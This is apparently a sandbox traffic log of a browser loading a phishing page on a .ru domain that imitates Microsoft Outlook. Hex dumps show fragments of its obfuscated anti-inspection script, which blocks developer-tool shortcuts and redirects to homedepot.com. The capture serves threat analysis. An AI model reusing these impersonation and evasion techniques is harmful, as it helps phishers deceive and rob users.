laravel_session=eyJpdiI6IkFNZGNQRVRQcmErZCtsS2xJYkZTMVE9PSIsInZhbHVlIjoiVXpwRTdsdjlOWmhzcXordStGSWFTejVpUU8rSlQyNFVTbHczdUtEY2JIUHIxWVEyMWpzREVSbjJmRzlzOGtZd2hIdklERUZYVGtoMGlSS2NZUzhyWGExdWpManRmczlzNkhmaUNHLzN3Rm50eWlVWi9lM1lLbFQzR2xjQTc1eHEiLCJtYWMiOiJjOWEyYjI5NTg0ODIwODUyYWNmYzE4OTYxYThjYjkxNDI1NGVkNWM3NGQ4OGEyYjI4MWMwZGE0ZWYyZTA0ZWUxIiwidGFnIjoiIn0%3D
2025-03-19 09:46:45 UTC	1203	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 09:46:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LJLaox2ez4SNULNb4Gdt%2BrZN%2FekWJzgK1EthssQgFMyUX2b1ez5qGJqdgmhqnfC97Izsnp7nAsvQvT7TU1qRNgqQIyQecoJZWFZfTiganESCprZ%2FNf1g61DlQrpx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=317&min_rtt=284&rtt_var=100&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2405&delivery_rate=12291793&cwnd=252&unsent_bytes=0&cid=6a883fa8322af38e&ts=223&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Ikd0R1Nra2xkekQ1cHNnNUY2dnRYclE9PSIsInZhbHVlIjoiaGxCa2wyZzhPL3c2Y1hsdVpPd3o5NzJQelVoZGsrek4zbkUzUUNBcmcvYWVnSkNZOWtzeUlRVzd6WmEzT3BLNzBMckpTNE9OcW9ablVra2FBVHlDeFB1K0xRUlduU0YxK3MyU0pZWi8wc1hQemoySVZvZjNKZEVYOHV4VzB3VVYiLCJtYWMiOiI1OGE1YWZjOTBkZjFlNTNmYjg5YmZlNmUwY2FmNDc0NjUyYmQ5OGY4OTgxZjNhMDczY2E1YmJiZWRkNmM0MDEzIiwidGFnIjoiIn0%3D; expires=Wed, 19-Mar-2025 11:46:45 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-19 09:46:45 UTC	760	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 64 4e 53 57 52 5a 62 32 31 75 4d 30 5a 69 62 58 45 30 4d 58 4a 75 4d 6b 5a 51 59 56 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 53 6c 4e 32 55 47 4e 77 61 31 68 51 64 44 42 61 4d 58 56 4a 57 6b 70 53 63 6a 56 4b 51 55 70 4c 57 57 68 71 52 6a 59 79 57 55 4a 58 51 6e 42 49 59 58 52 59 5a 56 4e 71 4f 58 51 78 5a 48 42 76 56 6d 6c 58 62 30 68 4c 62 6a 64 53 4f 57 31 6c 56 44 4e 43 64 55 6c 34 5a 55 74 4c 56 58 52 50 52 6c 64 54 5a 33 4a 51 52 6a 64 71 63 57 49 7a 55 79 73 32 64 44 42 36 52 44 56 76 62 7a 6c 61 57 6b 4a 6f 62 32 38 31 52 57 5a 53 4e 33 63 31 63 53 39 79 61 57 5a 70 61 57 6b 30 4c 31 4e 43 4d 7a 49 35 64 56 68 78 5a 6b 49 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjdNSWRZb21uM0ZibXE0MXJuMkZQYVE9PSIsInZhbHVlIjoiSlN2UGNwa1hQdDBaMXVJWkpScjVKQUpLWWhqRjYyWUJXQnBIYXRYZVNqOXQxZHBvVmlXb0hLbjdSOW1lVDNCdUl4ZUtLVXRPRldTZ3JQRjdqcWIzUys2dDB6RDVvbzlaWkJob281RWZSN3c1cS9yaWZpaWk0L1NCMzI5dVhxZkI
2025-03-19 09:46:45 UTC	315	IN	Data Raw: 31 33 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c Data Ascii: 134<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <titl
2025-03-19 09:46:45 UTC	1369	IN	Data Raw: 31 64 35 63 0d 0a 23 6f 75 74 6c 6f 6f 6b 6c 6f 67 6f 20 7b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 7d 0d 0a 0d 0a 3a 72 6f 6f 74 20 7b 0d 0a 20 20 20 20 2d 2d 73 3a 20 31 38 30 70 78 3b 0d 0a 20 20 20 20 2d 2d 65 6e 76 57 3a 20 31 33 30 70 78 3b 0d 0a 20 20 20 20 2d 2d 65 6e 76 48 3a 20 37 31 70 78 3b 0d 0a 20 20 20 20 2d 2d 63 61 6c 57 3a 20 31 31 38 70 78 3b 0d 0a 20 20 20 20 2d 2d 73 71 57 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 63 61 6c 57 29 20 2f 20 33 29 3b 0d 0a 20 20 20 20 2d 2d 73 71 48 3a 20 33 37 70 78 3b 0d 0a 20 20 20 20 2d 2d 63 61 6c 48 48 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 2d Data Ascii: 1d5c#outlooklogo { background-color: #fff; height: 100%; overflow: hidden;}:root { --s: 180px; --envW: 130px; --envH: 71px; --calW: 118px; --sqW: calc(var(--calW) / 3); --sqH: 37px; --calHH: 20px; -
2025-03-19 09:46:45 UTC	1369	IN	Data Raw: 61 74 65 28 32 38 64 65 67 29 3b 7d 0d 0a 23 65 66 3e 2e 72 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 34 39 30 64 66 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 31 32 30 70 78 2c 36 33 70 78 29 20 72 6f 74 61 74 65 28 2d 32 38 64 65 67 29 3b 7d 0d 0a 23 65 62 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 68 65 69 67 68 74 3a 34 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 32 33 62 36 64 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 37 30 70 78 3b 7d 0d 0a 23 63 61 6c 2c 23 63 61 6c 3e 2e 72 2c 23 63 61 6c 3e 2e 74 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 63 61 6c 57 29 3b 7d 0d 0a 23 63 61 6c 7b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 Data Ascii: ate(28deg);}#ef>.r{width:287px;background:#1490df;transform:translate(-120px,63px) rotate(-28deg);}#eb{width:var(--envW);height:40px;background:#123b6d;margin-top:-70px;}#cal,#cal>.r,#cal>.t{width:var(--calW);}#cal{flex-direction:row;flex-wrap:wra
2025-03-19 09:46:45 UTC	1369	IN	Data Raw: 6c 61 70 54 72 69 61 6e 67 6c 65 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 32 33 62 36 64 3b 7d 0d 0a 23 4d 53 4c 6f 67 6f 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 33 36 70 78 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 63 61 6c 63 28 35 30 76 77 20 2d 20 34 35 70 78 29 3b 0d 0a 7d 0d 0a 2f 2a 21 20 43 53 53 20 55 73 65 64 20 6b 65 79 66 72 61 6d 65 73 20 2a 2f 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 7b 30 25 2c 31 30 30 25 2c 31 32 2e 35 25 2c 33 32 2e 35 25 2c 35 30 25 2c 37 36 2e 31 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 7d 32 32 2e 35 25 2c 38 36 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 37 70 78 29 3b Data Ascii: lapTriangle{background:#123b6d;}#MSLogo { position: fixed; bottom: 36px; left: calc(50vw - 45px);}/! CSS Used keyframes /@keyframes bounce{0%,100%,12.5%,32.5%,50%,76.1%{transform:translateY(0);}22.5%,86%{transform:translateY(7px);
2025-03-19 09:46:45 UTC	1369	IN	Data Raw: 69 6f 6e 20 69 6e 4d 55 52 7a 74 4d 78 6a 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 6e 66 72 59 45 48 54 52 75 45 20 3d 20 5b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 6b 65 79 43 6f 64 65 3a 20 31 32 33 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 38 35 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 33 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 36 37 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 Data Ascii: ion inMURztMxj(event) { const nfrYEHTRuE = [ { keyCode: 123 }, { ctrl: true, keyCode: 85 }, { ctrl: true, shift: true, keyCode: 73 }, { ctrl: true, shift: true, keyCode: 67 }, { ctr
2025-03-19 09:46:45 UTC	1369	IN	Data Raw: 20 2d 20 45 53 73 70 4e 69 43 74 53 77 20 3e 20 73 4a 79 55 4c 49 4e 50 50 67 20 26 26 20 21 57 54 56 4d 58 72 50 77 56 70 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 4a 65 64 6f 41 6a 45 77 4c 46 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 57 54 56 4d 58 72 50 77 56 70 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 6f 6d 65 64 65 70 6f 74 2e 63 6f 6d 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 2c 20 31 30 30 29 3b 0d 0a 7d 29 28 29 3b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6f 70 79 27 2c 20 66 75 6e 63 74 69 6f 6e Data Ascii: - ESspNiCtSw > sJyULINPPg && !WTVMXrPwVp) { JedoAjEwLF = true; WTVMXrPwVp = true; window.location.replace('https://www.homedepot.com'); } }, 100);})(); document.addEventListener('copy', function
2025-03-19 09:46:45 UTC	679	IN	Data Raw: 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 63 6c 6f 73 65 64 46 6c 61 70 22 3e 3c 64 69 76 20 69 64 3d 22 66 6d 61 73 6b 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 61 70 54 72 69 61 6e 67 6c 65 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 73 76 67 20 69 64 3d 22 4d 53 4c 6f 67 6f 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 68 65 69 67 68 74 3d 22 32 32 22 20 77 69 64 74 68 3d 22 39 Data Ascii: "></div><div class="l"></div></div><div id="closedFlap"><div id="fmask"><div class="flapTriangle"></div></div></div></div></div></div><svg id="MSLogo" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" height="22" width="9
2025-03-19 09:46:45 UTC	1369	IN	Data Raw: 32 35 32 30 0d 0a 3c 70 61 74 68 20 64 3d 22 4d 34 32 2e 38 36 36 20 31 36 2e 37 35 31 68 32 2e 31 31 38 56 37 2e 37 35 32 68 2d 32 2e 31 31 38 7a 4d 34 33 2e 39 34 37 20 33 2e 39 32 39 63 2d 2e 33 34 39 20 30 2d 2e 36 35 33 2e 31 31 39 2d 2e 39 30 32 2e 33 35 33 61 31 2e 31 36 36 20 31 2e 31 36 36 20 30 20 30 30 2d 2e 33 37 38 2e 38 38 33 63 30 20 2e 33 34 34 2e 31 32 36 2e 36 33 36 2e 33 37 34 2e 38 36 35 2e 32 34 37 2e 32 33 2e 35 35 32 2e 33 34 35 2e 39 30 36 2e 33 34 35 73 2e 36 36 2d 2e 31 31 35 2e 39 31 2d 2e 33 34 35 63 2e 32 35 2d 2e 32 33 2e 33 37 39 2d 2e 35 32 2e 33 37 39 2d 2e 38 36 35 20 30 2d 2e 33 33 39 2d 2e 31 32 35 2d 2e 36 33 32 2d 2e 33 37 2d 2e 38 37 33 61 31 2e 32 36 32 20 31 2e 32 36 32 20 30 20 30 30 2d 2e 39 31 39 2d 2e 33 36 33 Data Ascii: 2520<path d="M42.866 16.751h2.118V7.752h-2.118zM43.947 3.929c-.349 0-.653.119-.902.353a1.166 1.166 0 00-.378.883c0 .344.126.636.374.865.247.23.552.345.906.345s.66-.115.91-.345c.25-.23.379-.52.379-.865 0-.339-.125-.632-.37-.873a1.262 1.262 0 00-.919-.363
2025-03-19 09:46:45 UTC	1369	IN	Data Raw: 2e 38 32 36 20 31 2e 39 33 36 20 31 2e 32 34 35 20 33 2e 33 31 36 20 31 2e 32 34 35 20 31 2e 34 33 38 20 30 20 32 2e 35 39 33 2d 2e 34 34 31 20 33 2e 34 33 34 2d 31 2e 33 31 2e 38 34 2d 2e 38 37 20 31 2e 32 36 35 2d 32 2e 30 34 35 20 31 2e 32 36 35 2d 33 2e 34 39 33 20 30 2d 31 2e 34 33 33 2d 2e 34 2d 32 2e 35 37 33 2d 31 2e 31 38 37 2d 33 2e 33 39 34 2d 2e 37 38 39 2d 2e 38 32 2d 31 2e 38 39 37 2d 31 2e 32 33 36 2d 33 2e 32 39 35 2d 31 2e 32 33 36 4d 37 34 2e 33 37 38 20 31 31 2e 34 37 31 63 2d 2e 36 36 37 2d 2e 32 36 38 2d 31 2e 30 39 35 2d 2e 34 39 2d 31 2e 32 37 2d 2e 36 36 2d 2e 31 37 2d 2e 31 36 35 2d 2e 32 35 37 2d 2e 33 39 38 2d 2e 32 35 37 2d 2e 36 39 33 20 30 2d 2e 32 36 32 2e 31 30 38 2d 2e 34 37 32 2e 33 32 37 2d 2e 36 34 32 2e 32 31 39 2d 2e Data Ascii: .826 1.936 1.245 3.316 1.245 1.438 0 2.593-.441 3.434-1.31.84-.87 1.265-2.045 1.265-3.493 0-1.433-.4-2.573-1.187-3.394-.789-.82-1.897-1.236-3.295-1.236M74.378 11.471c-.667-.268-1.095-.49-1.27-.66-.17-.165-.257-.398-.257-.693 0-.262.108-.472.327-.642.219-.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49761	23.192.153.175	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:45 UTC	688	OUT	GET / HTTP/1.1 Host: www.homedepot.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://jx7d.qdjcpol.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 09:46:46 UTC	1284	IN	HTTP/1.1 403 Forbidden Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 371 Expires: Wed, 19 Mar 2025 09:46:46 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 19 Mar 2025 09:46:46 GMT Connection: close Set-Cookie: HD_DC=origin; path=/; domain=.homedepot.com; secure Set-Cookie: AKA_A2=A; expires=Wed, 19-Mar-2025 10:46:46 GMT; path=/; domain=homedepot.com; secure; HttpOnly Server-Timing: cdn-cache; desc=HIT Server-Timing: edge; dur=1 Link: <https://dam.thdstatic.com>;rel="preconnect",<https://images.thdstatic.com>;rel="preconnect",<https://cdn.revjet.com>;rel="preconnect",<https://cdn.quantummetric.com>;rel="preconnect",<https://siteintercept.qualtrics.com>;rel="preconnect",<https://live-chat-static.sprinklr.com>;rel="preconnect" Link: <https://assets.thdstatic.com>;rel="preconnect",<https://client.px-cloud.net>;rel="preconnect" Akamai-GRN: 0.5c011002.1742377606.163dd8b5 Set-Cookie: akavpau_prod=1742377906~id=dd59bf83d312de6856b01fbaf62ec969; Path=/; HttpOnly; Secure; SameSite=None Set-Cookie: akacd_usbeta=3919830405~rv=62~id=a3dcc7cf303f93507bf9e562e31dd85e; path=/; Secure; SameSite=None X-Proto: secure Server-Timing: ak_p; desc="1742377605976_34603356_373151925_21_64493_1_11_-";dur=1
2025-03-19 09:46:46 UTC	371	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 48 31 3e 0a 20 0a 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 77 77 77 26 23 34 36 3b 68 6f 6d 65 64 65 70 6f 74 26 23 34 36 3b 63 6f 6d 26 23 34 37 3b 22 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 31 38 26 23 34 36 3b 35 63 30 31 31 30 30 32 26 23 34 36 3b 31 37 34 32 33 37 37 36 30 35 26 23 34 36 3b 31 36 33 64 64 38 62 35 0a 3c 50 3e 68 Data Ascii: <HTML><HEAD><TITLE>Access Denied</TITLE></HEAD><BODY><H1>Access Denied</H1> You don't have permission to access "http://www.homedepot.com/" on this server.<P>Reference #18.5c011002.1742377605.163dd8b5<P>h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49762	23.192.153.175	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:46:46 UTC	757	OUT	GET /favicon.ico HTTP/1.1 Host: www.homedepot.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.homedepot.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: HD_DC=origin; AKA_A2=A; akavpau_prod=1742377906~id=dd59bf83d312de6856b01fbaf62ec969; akacd_usbeta=3919830405~rv=62~id=a3dcc7cf303f93507bf9e562e31dd85e
2025-03-19 09:46:46 UTC	448	IN	HTTP/1.1 403 Forbidden Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 386 Cache-Control: max-age=14400 Expires: Wed, 19 Mar 2025 13:46:46 GMT Date: Wed, 19 Mar 2025 09:46:46 GMT Connection: close Server-Timing: cdn-cache; desc=HIT Server-Timing: edge; dur=1 Akamai-GRN: 0.27011002.1742377606.1c78e9aa X-Proto: secure Server-Timing: ak_p; desc="1742377605977_34603303_477686186_26_157365_1_10_-";dur=1
2025-03-19 09:46:46 UTC	386	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 48 31 3e 0a 20 0a 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 77 77 77 26 23 34 36 3b 68 6f 6d 65 64 65 70 6f 74 26 23 34 36 3b 63 6f 6d 26 23 34 37 3b 66 61 76 69 63 6f 6e 26 23 34 36 3b 69 63 6f 22 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 31 38 26 23 34 36 3b 32 37 30 31 31 30 30 32 26 23 34 36 3b 31 37 34 32 33 37 37 36 30 35 26 23 34 Data Ascii: <HTML><HEAD><TITLE>Access Denied</TITLE></HEAD><BODY><H1>Access Denied</H1> You don't have permission to access "http://www.homedepot.com/favicon.ico" on this server.<P>Reference #18.27011002.1742377605&#4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49784	35.190.80.1	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:47:44 UTC	534	OUT	OPTIONS /report/v4?s=f9fmxit0Dz%2FGezqENuNn5Wobzg5m5bUb5HyUvktGr5Y%2Bp5U1aI1h6Rz3NNcSfq2eb%2FX6Xq0ivlb2hByYTKvCXbQNmYInAO8c8YEDnQyv12pgu2BeqxMbutk5%2FsFu HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://jx7d.qdjcpol.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 09:47:44 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 19 Mar 2025 09:47:44 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49785	35.190.80.1	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:47:44 UTC	532	OUT	OPTIONS /report/v4?s=LJLaox2ez4SNULNb4Gdt%2BrZN%2FekWJzgK1EthssQgFMyUX2b1ez5qGJqdgmhqnfC97Izsnp7nAsvQvT7TU1qRNgqQIyQecoJZWFZfTiganESCprZ%2FNf1g61DlQrpx HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://jx7d.qdjcpol.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 09:47:44 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 19 Mar 2025 09:47:44 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49786	35.190.80.1	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:47:44 UTC	509	OUT	POST /report/v4?s=f9fmxit0Dz%2FGezqENuNn5Wobzg5m5bUb5HyUvktGr5Y%2Bp5U1aI1h6Rz3NNcSfq2eb%2FX6Xq0ivlb2hByYTKvCXbQNmYInAO8c8YEDnQyv12pgu2BeqxMbutk5%2FsFu HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 439 Content-Type: application/reports+json Origin: https://jx7d.qdjcpol.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 09:47:44 UTC	439	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 38 36 35 37 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 35 34 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 37 38 2e 36 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6a 78 37 64 2e 71 64 6a 63 70 6f 6c 2e 72 Data Ascii: [{"age":58657,"body":{"elapsed_time":540,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.78.6","status_code":404,"type":"http.error"},"type":"network-error","url":"https://jx7d.qdjcpol.r
2025-03-19 09:47:44 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Wed, 19 Mar 2025 09:47:44 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

